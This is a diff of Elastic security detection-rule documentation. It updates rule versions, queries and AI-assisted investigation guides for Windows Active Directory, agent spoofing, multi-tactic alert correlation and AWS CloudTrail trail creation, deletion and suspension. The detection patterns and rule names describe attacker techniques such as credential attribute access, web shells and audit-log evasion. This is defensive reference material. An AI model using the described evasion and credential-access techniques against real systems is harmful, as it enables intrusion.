+include::rule-details/potential-webshell-deployed-via-apache-struts-cve-2023-50164-exploitation.asciidoc[]
 include::rule-details/potential-widespread-malware-infection-across-multiple-hosts.asciidoc[]
 include::rule-details/potential-windows-error-manager-masquerading.asciidoc[]
 include::rule-details/potential-windows-session-hijacking-via-ccmexec.asciidoc[]
@@ -1053,6 +1066,7 @@ include::rule-details/program-files-directory-masquerading.asciidoc[]
 include::rule-details/prompt-for-credentials-with-osascript.asciidoc[]
 include::rule-details/proxy-execution-via-console-window-host.asciidoc[]
 include::rule-details/proxy-execution-via-windows-openssh.asciidoc[]
+include::rule-details/proxy-shell-execution-via-busybox.asciidoc[]
 include::rule-details/proxychains-activity.asciidoc[]
 include::rule-details/psexec-network-connection.asciidoc[]
 include::rule-details/python-path-file-pth-creation.asciidoc[]
@@ -1069,7 +1083,6 @@ include::rule-details/ransomware-detected-elastic-defend.asciidoc[]
 include::rule-details/ransomware-detected-elastic-endgame.asciidoc[]
 include::rule-details/ransomware-prevented-elastic-defend.asciidoc[]
 include::rule-details/ransomware-prevented-elastic-endgame.asciidoc[]
-include::rule-details/rapid-secret-retrieval-attempts-from-aws-secretsmanager.asciidoc[]
 include::rule-details/rapid7-threat-command-cves-correlation.asciidoc[]
 include::rule-details/rare-aws-error-code.asciidoc[]
 include::rule-details/rare-connection-to-webdav-target.asciidoc[]
@@ -1106,6 +1119,7 @@ include::rule-details/sip-provider-modification.asciidoc[]
 include::rule-details/smb-windows-file-sharing-activity-to-the-internet.asciidoc[]
 include::rule-details/smb-connections-via-lolbin-or-untrusted-process.asciidoc[]
 include::rule-details/smtp-on-port-26-tcp.asciidoc[]
+include::rule-details/socks-traffic-from-an-unusual-process.asciidoc[]
 include::rule-details/ssh-authorized-keys-file-deletion.asciidoc[]
 include::rule-details/ssh-authorized-keys-file-modification.asciidoc[]
 include::rule-details/ssh-key-generated-via-ssh-keygen.asciidoc[]
@@ -1491,7 +1505,11 @@ include::rule-details/writedac-access-on-active-directory-object.asciidoc[]
 include::rule-details/web-application-suspicious-activity-post-request-declined.asciidoc[]
 include::rule-details/web-application-suspicious-activity-unauthorized-method.asciidoc[]
 include::rule-details/web-application-suspicious-activity-sqlmap-user-agent.asciidoc[]
+include::rule-details/web-server-discovery-or-fuzzing-activity.asciidoc[]
+include::rule-details/web-server-potential-command-injection-request.asciidoc[]
+include::rule-details/web-server-potential-spike-in-error-response-codes.asciidoc[]
 include::rule-details/web-server-spawned-via-python.asciidoc[]
+include::rule-details/web-server-suspicious-user-agent-requests.asciidoc[]
 include::rule-details/web-shell-detection-script-process-child-of-common-web-processes.asciidoc[]
 include::rule-details/webproxy-settings-modification.asciidoc[]
 include::rule-details/webserver-access-logs-deleted.asciidoc[]
diff --git a/docs/detections/prebuilt-rules/rule-details/a-scheduled-task-was-created.asciidoc b/docs/detections/prebuilt-rules/rule-details/a-scheduled-task-was-created.asciidoc
index 46c06f4c36..8d506fc38b 100644
--- a/docs/detections/prebuilt-rules/rule-details/a-scheduled-task-was-created.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/a-scheduled-task-was-created.asciidoc
@@ -34,7 +34,7 @@ Indicates the creation of a scheduled task using Windows event logs. Adversaries
 * Data Source: Windows Security Event Logs
 * Resources: Investigation Guide
 
-*Version*: 113
+*Version*: 114
 
 *Rule authors*: 
 
@@ -95,7 +95,7 @@ Scheduled tasks in Windows automate routine tasks, enhancing efficiency. However
 
 [source, js]
 ----------------------------------
-iam where event.action == "scheduled-task-created" and
+iam where host.os.type == "windows" and event.action == "scheduled-task-created" and
 
  /* excluding tasks created by the computer account */
  not user.name : "*$" and
diff --git a/docs/detections/prebuilt-rules/rule-details/access-to-a-sensitive-ldap-attribute.asciidoc b/docs/detections/prebuilt-rules/rule-details/access-to-a-sensitive-ldap-attribute.asciidoc
index c8fa2de128..94e02e5875 100644
--- a/docs/detections/prebuilt-rules/rule-details/access-to-a-sensitive-ldap-attribute.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/access-to-a-sensitive-ldap-attribute.asciidoc
@@ -39,7 +39,7 @@ Identify access to sensitive Active Directory object attributes that contains cr
 * Data Source: Windows Security Event Logs
 * Resources: Investigation Guide
 
-*Version*: 116
+*Version*: 117
 
 *Rule authors*: 
 
@@ -124,7 +124,7 @@ Audit Directory Service Access (Success,Failure)
 
 [source, js]
 ----------------------------------
-any where event.code == "4662" and
+any where host.os.type == "windows" and event.code == "4662" and
 
   not winlog.event_data.SubjectUserSid : "S-1-5-18" and
 
diff --git a/docs/detections/prebuilt-rules/rule-details/account-password-reset-remotely.asciidoc b/docs/detections/prebuilt-rules/rule-details/account-password-reset-remotely.asciidoc
index 773b6397f9..7c988b122c 100644
--- a/docs/detections/prebuilt-rules/rule-details/account-password-reset-remotely.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/account-password-reset-remotely.asciidoc
@@ -38,7 +38,7 @@ Identifies an attempt to reset a potentially privileged account password remotel
 * Data Source: Windows Security Event Logs
 * Resources: Investigation Guide
 
-*Version*: 220
+*Version*: 221
 
 *Rule authors*: 
 
@@ -107,13 +107,13 @@ This rule may cause medium to high performance impact due to logic scoping all r
 [source, js]
 ----------------------------------
 sequence by winlog.computer_name with maxspan=1m
-  [authentication where event.action == "logged-in" and
+  [authentication where host.os.type == "windows" and event.action == "logged-in" and
     /* event 4624 need to be logged */
     winlog.logon.type : "Network" and event.outcome == "success" and source.ip != null and
     source.ip != "127.0.0.1" and source.ip != "::1" and
     not winlog.event_data.TargetUserName : ("svc*", "PIM_*", "_*_", "*-*-*", "*$")] by winlog.event_data.TargetLogonId
    /* event 4724 need to be logged */
-  [iam where event.action == "reset-password" and
+  [iam where host.os.type == "windows" and event.action == "reset-password" and
    (
     /*
        This rule is very noisy if not scoped to privileged accounts, duplicate the
diff --git a/docs/detections/prebuilt-rules/rule-details/adminsdholder-backdoor.asciidoc b/docs/detections/prebuilt-rules/rule-details/adminsdholder-backdoor.asciidoc
index 8d57275f56..93466171da 100644
--- a/docs/detections/prebuilt-rules/rule-details/adminsdholder-backdoor.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/adminsdholder-backdoor.asciidoc
@@ -37,7 +37,7 @@ Detects modifications in the AdminSDHolder object. Attackers can abuse the SDPro
 * Data Source: Windows Security Event Logs
 * Resources: Investigation Guide
 
-*Version*: 214
+*Version*: 215
 
 *Rule authors*: 
 
@@ -100,7 +100,7 @@ The AdminSDHolder object in Active Directory is crucial for maintaining consiste
 
 [source, js]
 ----------------------------------
-event.code:5136 and winlog.event_data.ObjectDN:CN=AdminSDHolder,CN=System*
+event.code:5136 and host.os.type:"windows" and winlog.event_data.ObjectDN:CN=AdminSDHolder,CN=System*
 
 ----------------------------------
 
diff --git a/docs/detections/prebuilt-rules/rule-details/adminsdholder-sdprop-exclusion-added.asciidoc b/docs/detections/prebuilt-rules/rule-details/adminsdholder-sdprop-exclusion-added.asciidoc
index 982ac9d2a2..fbac261001 100644
--- a/docs/detections/prebuilt-rules/rule-details/adminsdholder-sdprop-exclusion-added.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/adminsdholder-sdprop-exclusion-added.asciidoc
@@ -37,7 +37,7 @@ Identifies a modification on the dsHeuristics attribute on the bit that holds th
 * Use Case: Active Directory Monitoring
 * Data Source: Windows Security Event Logs
 
-*Version*: 216
+*Version*: 217
 
 *Rule authors*: 
 
@@ -124,7 +124,7 @@ Audit Directory Service Changes (Success)
 
 [source, js]
 ----------------------------------
-any where event.code == "5136" and
+any where host.os.type == "windows" and event.code == "5136" and
   winlog.event_data.AttributeLDAPDisplayName : "dSHeuristics" and
   length(winlog.event_data.AttributeValue) > 15 and
   winlog.event_data.AttributeValue regex~ "[0-9]{15}([1-9a-f]).*"
diff --git a/docs/detections/prebuilt-rules/rule-details/agent-spoofing-mismatched-agent-id.asciidoc b/docs/detections/prebuilt-rules/rule-details/agent-spoofing-mismatched-agent-id.asciidoc
index 73b4315f8f..04b64733db 100644
--- a/docs/detections/prebuilt-rules/rule-details/agent-spoofing-mismatched-agent-id.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/agent-spoofing-mismatched-agent-id.asciidoc
@@ -29,7 +29,7 @@ Detects events that have a mismatch on the expected event agent ID. The status "
 * Tactic: Defense Evasion
 * Resources: Investigation Guide
 
-*Version*: 104
+*Version*: 105
 
 *Rule authors*: 
 
@@ -92,7 +92,7 @@ In security environments, agent IDs uniquely identify software agents that repor
 
 [source, js]
 ----------------------------------
-event.agent_id_status:(agent_id_mismatch or mismatch) and not host.name:agentless-*
+event.agent_id_status:agent_id_mismatch and not host.name:agentless-*
 
 ----------------------------------
 
diff --git a/docs/detections/prebuilt-rules/rule-details/agent-spoofing-multiple-hosts-using-same-agent.asciidoc b/docs/detections/prebuilt-rules/rule-details/agent-spoofing-multiple-hosts-using-same-agent.asciidoc
index b11eb82c69..ff72f5e72f 100644
--- a/docs/detections/prebuilt-rules/rule-details/agent-spoofing-multiple-hosts-using-same-agent.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/agent-spoofing-multiple-hosts-using-same-agent.asciidoc
@@ -3,13 +3,9 @@
 
 Detects when multiple hosts are using the same agent ID. This could occur in the event of an agent being taken over and used to inject illegitimate documents into an instance as an attempt to spoof events in order to masquerade actual activity to evade detection.
 
-*Rule type*: threshold
+*Rule type*: esql
 
-*Rule indices*: 
-
-* logs-*
-* metrics-*
-* traces-*
+*Rule indices*: None
 
 *Severity*: high
 
@@ -29,7 +25,7 @@ Detects when multiple hosts are using the same agent ID. This could occur in the
 * Tactic: Defense Evasion
 * Resources: Investigation Guide
 
-*Version*: 103
+*Version*: 105
 
 *Rule authors*: 
 
@@ -91,7 +87,11 @@ In network environments, agents are deployed on hosts to monitor and report acti
 
 [source, js]
 ----------------------------------
-event.agent_id_status:* and not tags:forwarded
+from logs-endpoint.*  metadata _id
+| where event.agent_id_status is not null 
+| stats Esql.count_distinct_host_ids = count_distinct(host.id), Esql.host_id_values = values(host.id), Esql.user_id_values_user_id = values(user.id) by agent.id
+| where Esql.count_distinct_host_ids >= 2
+| keep Esql.count_distinct_host_ids, Esql.host_id_values, Esql.user_id_values_user_id, agent.id
 
 ----------------------------------
 
diff --git a/docs/detections/prebuilt-rules/rule-details/alerts-in-different-att-ck-tactics-by-host.asciidoc b/docs/detections/prebuilt-rules/rule-details/alerts-in-different-att-ck-tactics-by-host.asciidoc
new file mode 100644
index 0000000000..3b00a3cfc6
--- /dev/null
+++ b/docs/detections/prebuilt-rules/rule-details/alerts-in-different-att-ck-tactics-by-host.asciidoc
@@ -0,0 +1,134 @@
+[[alerts-in-different-att-ck-tactics-by-host]]
+=== Alerts in Different ATT&CK Tactics by Host
+
+This rule uses alert data to determine when multiple alerts in different phases of an attack involving the same host are triggered and where the accumulated risk score is higher than a defined threshold. Analysts can use this to prioritize triage and response, as these hosts are more likely to be compromised.
+
+*Rule type*: esql
+
+*Rule indices*: None
+
+*Severity*: high
+
+*Risk score*: 73
+
+*Runs every*: 1h
+
+*Searches indices from*: now-8h ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: None
+
+*Tags*: 
+
+* Use Case: Threat Detection
+* Rule Type: Higher-Order Rule
+* Resources: Investigation Guide
+
+*Version*: 2
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Alerts in Different ATT&CK Tactics by Host*
+
+
+The detection rule identifies hosts with alerts across various attack phases, indicating potential compromise. Adversaries exploit system vulnerabilities, moving through different tactics like execution, persistence, and exfiltration. This rule prioritizes hosts with diverse tactic alerts, aiding analysts in focusing on high-risk threats by correlating alert data to detect complex attack patterns.
+
+
+*Possible investigation steps*
+
+
+- Review the alert details to identify the specific host involved and the different ATT&CK tactics that triggered the alerts.
+- Examine the timeline of the alerts to understand the sequence of events and determine if there is a pattern or progression in the tactics used.
+- Correlate the alert data with other logs and telemetry from the host, such as process creation, network connections, and file modifications, to gather additional context.
+- Investigate any known vulnerabilities or misconfigurations on the host that could have been exploited by the adversary.
+- Check for any indicators of compromise (IOCs) associated with the alerts, such as suspicious IP addresses, domains, or file hashes, and search for these across the network.
+- Assess the impact and scope of the potential compromise by determining if other hosts or systems have similar alerts or related activity.
+
+
+*False positive analysis*
+
+
+- Alerts from routine administrative tasks may trigger multiple tactics. Review and exclude known benign activities such as scheduled software updates or system maintenance.
+- Security tools running on the host might generate alerts across different tactics. Identify and exclude alerts from trusted security applications to reduce noise.
+- Automated scripts or batch processes can mimic adversarial behavior. Analyze and whitelist these processes if they are verified as non-threatening.
+- Frequent alerts from development or testing environments can be misleading. Consider excluding these environments from the rule or applying a different risk score.
+- User behavior anomalies, such as accessing multiple systems or applications, might trigger alerts. Implement user behavior baselines to differentiate between normal and suspicious activities.
+
+
+*Response and remediation*
+
+
+- Isolate the affected host from the network immediately to prevent further lateral movement by the adversary.
+- Conduct a thorough forensic analysis of the host to identify the specific vulnerabilities exploited and gather evidence of the attack phases involved.
+- Remove any identified malicious software or unauthorized access tools from the host, ensuring all persistence mechanisms are eradicated.
+- Apply security patches and updates to the host to address any exploited vulnerabilities and prevent similar attacks.
+- Restore the host from a known good backup if necessary, ensuring that the backup is free from compromise.
+- Monitor the host and network for any signs of re-infection or further suspicious activity, using enhanced logging and alerting based on the identified attack patterns.
+- Escalate the incident to the appropriate internal or external cybersecurity teams for further investigation and potential legal action if the attack is part of a larger campaign.
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+from .alerts-security.*  metadata _id
+
+// filter for alerts with populated risk score, excluding threat_match rules, deprecated and some other noisy ones.
+| where kibana.alert.risk_score > 0 and
+        kibana.alert.rule.name IS NOT NULL and
+        host.id is not null and event.dataset is not null and
+        kibana.alert.rule.type != "threat_match" and
+        not kibana.alert.rule.name in ("Agent Spoofing - Mismatched Agent ID") and
+        not kibana.alert.rule.name like "Deprecated - *"
+
+// extract unique counts and values by host.id
+| stats Esql.alerts_count = COUNT(*),
+        Esql.kibana_alert_rule_name_distinct_count = COUNT_DISTINCT(kibana.alert.rule.name),
+        Esql.event_module_distinct_count = COUNT_DISTINCT(event.module),
+        Esql.event_module_values = VALUES(event.module),
+        Esql.kibana_alert_rule_name_values = VALUES(kibana.alert.rule.name),
+        Esql.threat_tactic_id_distinct_count = COUNT_DISTINCT(kibana.alert.rule.threat.tactic.id),
+        Esql.threat_tactic_name_values = VALUES(kibana.alert.rule.threat.tactic.name),
+        Esql.kibana_alert_risk_score_sum = sum(kibana.alert.risk_score),
+        Esql.process_executable_values = VALUES(process.executable),
+        Esql.process_parent_executable_values = VALUES(process.parent.executable),
+        Esql.process_command_line_values = VALUES(process.command_line),
+        Esql.process_entity_id_distinct_count = COUNT_DISTINCT(process.entity_id) by host.id
+
+// divide the sum of risk scores by the total number of alerts
+| eval Esql.risk_alerts_count_ratio = Esql.kibana_alert_risk_score_sum/Esql.alerts_count
+
+// filter for risky hosts by risk score and unique count of rules and tactics
+| where Esql.kibana_alert_rule_name_distinct_count >= 5 and Esql.threat_tactic_id_distinct_count >= 3 and Esql.threat_tactic_id_distinct_count >= 3 and Esql.alerts_count <= 500 and Esql.risk_alerts_count_ratio >= 50
+
+// fiels populated in the resulting alert
+| keep host.id,
+       Esql.alerts_count,
+       Esql.kibana_alert_risk_score_sum,
+       Esql.risk_alerts_count_ratio,
+       Esql.kibana_alert_rule_name_distinct_count,
+       Esql.event_module_values,
+       Esql.kibana_alert_rule_name_values,
+       Esql.threat_tactic_name_values,
+       Esql.process_executable_values,
+       Esql.process_parent_executable_values,
+       Esql.process_command_line_values
+
+----------------------------------
diff --git a/docs/detections/prebuilt-rules/rule-details/aws-cloudtrail-log-created.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-cloudtrail-log-created.asciidoc
index 7e393b6d87..d5e9afe86a 100644
--- a/docs/detections/prebuilt-rules/rule-details/aws-cloudtrail-log-created.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/aws-cloudtrail-log-created.asciidoc
@@ -1,7 +1,7 @@
 [[aws-cloudtrail-log-created]]
 === AWS CloudTrail Log Created
 
-Identifies the creation of an AWS log trail that specifies the settings for delivery of log data.
+Detects creation of a new AWS CloudTrail trail via CreateTrail API. While legitimate during onboarding or auditing improvements, adversaries can create trails that write to attacker-controlled destinations, limit regions, or otherwise subvert monitoring objectives. New trails should be validated for destination ownership, encryption, multi-region coverage, and organizational scope.
 
 *Rule type*: query
 
@@ -14,9 +14,9 @@ Identifies the creation of an AWS log trail that specifies the settings for deli
 
 *Risk score*: 21
 
-*Runs every*: 10m
+*Runs every*: 5m
 
-*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
 
 *Maximum alerts per execution*: 100
 
@@ -30,11 +30,12 @@ Identifies the creation of an AWS log trail that specifies the settings for deli
 * Domain: Cloud
 * Data Source: AWS
 * Data Source: Amazon Web Services
+* Data Source: AWS Cloudtrail
 * Use Case: Log Auditing
 * Tactic: Collection
 * Resources: Investigation Guide
 
-*Version*: 210
+*Version*: 211
 
 *Rule authors*: 
 
@@ -57,51 +58,58 @@ Identifies the creation of an AWS log trail that specifies the settings for deli
 *Investigating AWS CloudTrail Log Created*
 
 
-AWS CloudTrail is a service that enables governance, compliance, and operational and risk auditing of your AWS account. It logs API calls and related events, providing visibility into user activity. Adversaries may create new trails to capture sensitive data or cover their tracks. The detection rule identifies successful trail creation, signaling potential unauthorized activity, aiding in early threat detection.
+AWS CloudTrail is a service that enables governance, compliance, and operational and risk auditing of your AWS account. It logs API calls and related events, providing visibility into user activity. Adversaries may create new trails to capture sensitive data or cover their tracks. This detection identifies
+`CreateTrail` calls so responders can verify destination ownership, encryption, and scope before accepting the change.
 
 
 *Possible investigation steps*
 
 
-- Review the AWS CloudTrail logs to identify the user or role associated with the CreateTrail event by examining the user identity information in the event logs.
-- Check the time and date of the CreateTrail event to determine if it aligns with any known maintenance or administrative activities.
-- Investigate the configuration of the newly created trail to understand what specific log data it is set to capture and where it is being delivered.
-- Assess whether the trail creation was authorized by cross-referencing with change management records or by contacting relevant personnel.
-- Analyze other recent AWS CloudTrail events associated with the same user or role to identify any suspicious or unusual activities that may indicate malicious intent.
-- Evaluate the permissions and access policies of the user or role involved in the event to ensure they align with the principle of least privilege.
+- **Identify the actor and context**
+  - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, `user_agent.original`, `source.ip`.
+  - Confirm a related change request exists (onboarding, architecture change).
+- **Validate trail configuration**
+  - In `aws.cloudtrail.request_parameters`, verify:
+    - `S3BucketName`/`CloudWatchLogsLogGroupArn` belong to your org (no external accounts).
+    - `IsMultiRegionTrail=true` and `IncludeGlobalServiceEvents=true` (as per your standard).
+    - `KmsKeyId` is an approved CMK; log file validation enabled.
+- **Correlate activity**
+  - Look for `PutEventSelectors`, `PutInsightSelectors`, `StartLogging` following creation.
+  - Check for prior enumeration: `DescribeTrails`, `ListBuckets`, `GetEventSelectors`.
 
 
 *False positive analysis*
 
-
-- Routine administrative actions by authorized personnel can trigger this rule. Regularly review and document legitimate trail creation activities to differentiate them from unauthorized actions.
-- Automated processes or scripts that create trails for compliance or monitoring purposes may cause false positives. Identify and whitelist these processes to prevent unnecessary alerts.
-- Third-party security tools or services that integrate with AWS and create trails for enhanced logging might be mistaken for suspicious activity. Verify these integrations and exclude them from the rule if they are part of your security strategy.
-- Changes in organizational policy or structure that require new trail creation can lead to false positives. Ensure that such changes are communicated to the security team to adjust the rule settings accordingly.
+- **Planned creation**: Onboarding or compliance initiatives often add trails. Validate via ticket and standard template.
+- **Automation**: IaC or control-tower pipelines may create trails on account bootstrap.
 
 
 *Response and remediation*
 
+- **If unauthorized**
+  - Disable or delete the trail; verify and secure the destination S3/CloudWatch resources.
+  - Review the actor’s recent changes and rotate credentials if compromise is suspected.
+- **Hardening**
+  - Restrict `cloudtrail:CreateTrail` to admin roles.
+  - Use AWS Config / Security Hub controls to enforce multi-region, global events, and validated destinations.
 
-- Immediately review the newly created CloudTrail log to verify its legitimacy. Check the user or service account that initiated the trail creation and confirm if it aligns with expected administrative activities.
-- If the trail creation is unauthorized, disable or delete the trail to prevent further data capture by potential adversaries.
-- Conduct a thorough audit of recent API calls and user activities associated with the account that created the trail to identify any other suspicious actions or configurations.
-- Escalate the incident to the security operations team for further investigation and to determine if additional AWS resources have been compromised.
-- Implement additional monitoring and alerting for any future unauthorized CloudTrail modifications or creations to enhance early detection capabilities.
-- Review and tighten IAM policies and permissions to ensure that only authorized personnel have the ability to create or modify CloudTrail configurations.
-- Consider enabling AWS CloudTrail log file integrity validation to ensure that log files have not been altered or deleted, providing an additional layer of security.
 
-==== Setup
+*Additional information*
 
+- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** 
+- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** 
+- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices].
 
-The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.
 
 ==== Rule query
 
 
 [source, js]
 ----------------------------------
-event.dataset:aws.cloudtrail and event.provider:cloudtrail.amazonaws.com and event.action:CreateTrail and event.outcome:success
+event.dataset: "aws.cloudtrail" 
+    and event.provider: "cloudtrail.amazonaws.com" 
+    and event.action: "CreateTrail" 
+    and event.outcome: "success"
 
 ----------------------------------
 
diff --git a/docs/detections/prebuilt-rules/rule-details/aws-cloudtrail-log-deleted.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-cloudtrail-log-deleted.asciidoc
index 836fd490ad..0f25d46579 100644
--- a/docs/detections/prebuilt-rules/rule-details/aws-cloudtrail-log-deleted.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/aws-cloudtrail-log-deleted.asciidoc
@@ -1,7 +1,7 @@
 [[aws-cloudtrail-log-deleted]]
 === AWS CloudTrail Log Deleted
 
-Identifies the deletion of an AWS log trail. An adversary may delete trails in an attempt to evade defenses.
+Detects deletion of an AWS CloudTrail trail via DeleteTrail API. Removing trails is a high-risk action that destroys an audit control plane and is frequently paired with other destructive or stealthy operations. Validate immediately and restore compliant logging.
 
 *Rule type*: query
 
@@ -14,9 +14,9 @@ Identifies the deletion of an AWS log trail. An adversary may delete trails in a
 
 *Risk score*: 47
 
-*Runs every*: 10m
+*Runs every*: 5m
 
-*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
 
 *Maximum alerts per execution*: 100
 
@@ -30,11 +30,12 @@ Identifies the deletion of an AWS log trail. An adversary may delete trails in a
 * Domain: Cloud
 * Data Source: AWS
 * Data Source: Amazon Web Services
+* Data Source: AWS Cloudtrail
 * Use Case: Log Auditing
 * Resources: Investigation Guide
 * Tactic: Defense Evasion
 
-*Version*: 212
+*Version*: 213
 
 *Rule authors*: 
 
@@ -50,70 +51,57 @@ Identifies the deletion of an AWS log trail. An adversary may delete trails in a
 *Triage and analysis*
 
 
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
 
-*Investigating AWS CloudTrail Log Deleted*
 
+*Investigating AWS CloudTrail Log Deleted*
 
-Amazon CloudTrail is a service that enables governance, compliance, operational auditing, and risk auditing of your Amazon Web Services account. With CloudTrail, you can log, continuously monitor, and retain account activity related to actions across your Amazon Web Services infrastructure. CloudTrail provides event history of your Amazon Web Services account activity, including actions taken through the Amazon Management Console, Amazon SDKs, command line tools, and other Amazon Web Services services. This event history simplifies security analysis, resource change tracking, and troubleshooting.
 
-This rule identifies the deletion of an AWS log trail using the API `DeleteTrail` action. Attackers can do this to cover their tracks and impact security monitoring that relies on this source.
+AWS CloudTrail is a service that enables governance, compliance, and operational and risk auditing of your AWS account. It logs API calls and related events, providing visibility into user activity. This rule identifies the deletion of an AWS log trail using the `DeleteTrail` API. Deleting a trail can eliminate visibility and is a strong indicator of defense evasion or sabotage.
 
 
 *Possible investigation steps*
 
-
-- Identify the user account that performed the action and whether it should perform this kind of action.
-- Investigate other alerts associated with the user account during the past 48 hours.
-- Contact the account and resource owners and confirm whether they are aware of this activity.
-- Check if this operation was approved and performed according to the organization's change management policy.
-- Considering the source IP address and geolocation of the user who issued the command:
-    - Do they look normal for the user?
-    - If the source is an EC2 IP address, is it associated with an EC2 instance in one of your accounts or is the source IP from an EC2 instance that's not under your control?
-    - If it is an authorized EC2 instance, is the activity associated with normal behavior for the instance role or roles? Are there any other alerts or signs of suspicious activity involving this instance?
-- Investigate the deleted log trail's criticality and whether the responsible team is aware of the deletion.
-- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours.
+- **Actor & target**
+  - Identify `aws.cloudtrail.user_identity.arn`, `user_agent.original`, `source.ip`.
+  - Confirm which trail was deleted (name/ARN, multi-region/organization status) from `aws.cloudtrail.request_parameters` or `target.entity.id`.
+- **Blast radius**
+  - Determine whether it was the only trail or if organization/multi-region coverage remains.
+  - Review preceding `StopLogging` or `UpdateTrail` and subsequent high-risk actions (IAM, S3, KMS, EC2 exports).
+- **Data preservation**
+  - Verify S3 destinations and CloudWatch log groups for retained historical logs and file integrity validation.
 
 
 *False positive analysis*
 
-
-- If this rule is noisy in your environment due to expected activity, consider adding exceptions — preferably with a combination of user and IP address conditions.
+- **Planned deletion**: Validate with tickets and decommissioning plans; ensure replacement/alternate trails exist.
 
 
 *Response and remediation*
 
+- Recreate or re-enable compliant multi-region (or organization) trails immediately.
+- Investigate the actor’s recent activity; rotate creds if compromise is suspected.
+- Validate destination bucket policies, CMK policies, and event selectors for all active trails.
+- Hardening: Restrict `cloudtrail:DeleteTrail` and enforce guardrails via AWS Config/SCPs; alert on future deletions.
 
-- Initiate the incident response process based on the outcome of the triage.
-- Disable or limit the account during the investigation and response.
-- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:
-    - Identify the account role in the cloud environment.
-    - Assess the criticality of affected services and servers.
-    - Work with your IT team to identify and minimize the impact on users.
-    - Identify if the attacker is moving laterally and compromising other accounts, servers, or services.
-    - Identify any regulatory or legal ramifications related to this activity.
-- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions.
-- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users.
-- Consider enabling multi-factor authentication for users.
-- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed.
-- Implement security best practices https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[outlined] by AWS.
-- Take the actions needed to return affected systems, data, or services to their normal operational levels.
-- Identify the initial vector abused by the attacker and take action to prevent reinfection via the same vector.
-- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).
 
-==== Setup
+*Additional information*
 
+- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** 
+- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** 
+- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices].
 
-The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.
 
 ==== Rule query
 
 
 [source, js]
 ----------------------------------
-event.dataset:aws.cloudtrail
-    and event.provider:cloudtrail.amazonaws.com
-    and event.action:DeleteTrail
-    and event.outcome:success
+event.dataset: "aws.cloudtrail"
+    and event.provider: "cloudtrail.amazonaws.com"
+    and event.action: "DeleteTrail"
+    and event.outcome: "success"
 
 ----------------------------------
 
diff --git a/docs/detections/prebuilt-rules/rule-details/aws-cloudtrail-log-suspended.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-cloudtrail-log-suspended.asciidoc
index 583b6bd9e1..5b3e6143eb 100644
--- a/docs/detections/prebuilt-rules/rule-details/aws-cloudtrail-log-suspended.asciidoc
+++ b/docs/detections/prebuilt-rules/rule-details/aws-cloudtrail-log-suspended.asciidoc
@@ -1,7 +1,7 @@
 [[aws-cloudtrail-log-suspended]]
 === AWS CloudTrail Log Suspended
 
-Identifies suspending the recording of AWS API calls and log file delivery for the specified trail. An adversary may suspend trails in an attempt to evade defenses.
+Detects Cloudtrail logging suspension via StopLogging API. Stopping CloudTrail eliminates forward audit visibility and is a classic defense evasion step before sensitive changes or data theft. Investigate immediately and determine what occurred during the logging gap.
 
 *Rule type*: query
 
@@ -14,9 +14,9 @@ Identifies suspending the recording of AWS API calls and log file delivery for t
 
 *Risk score*: 47
 
-*Runs every*: 10m
+*Runs every*: 5m
 
-*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
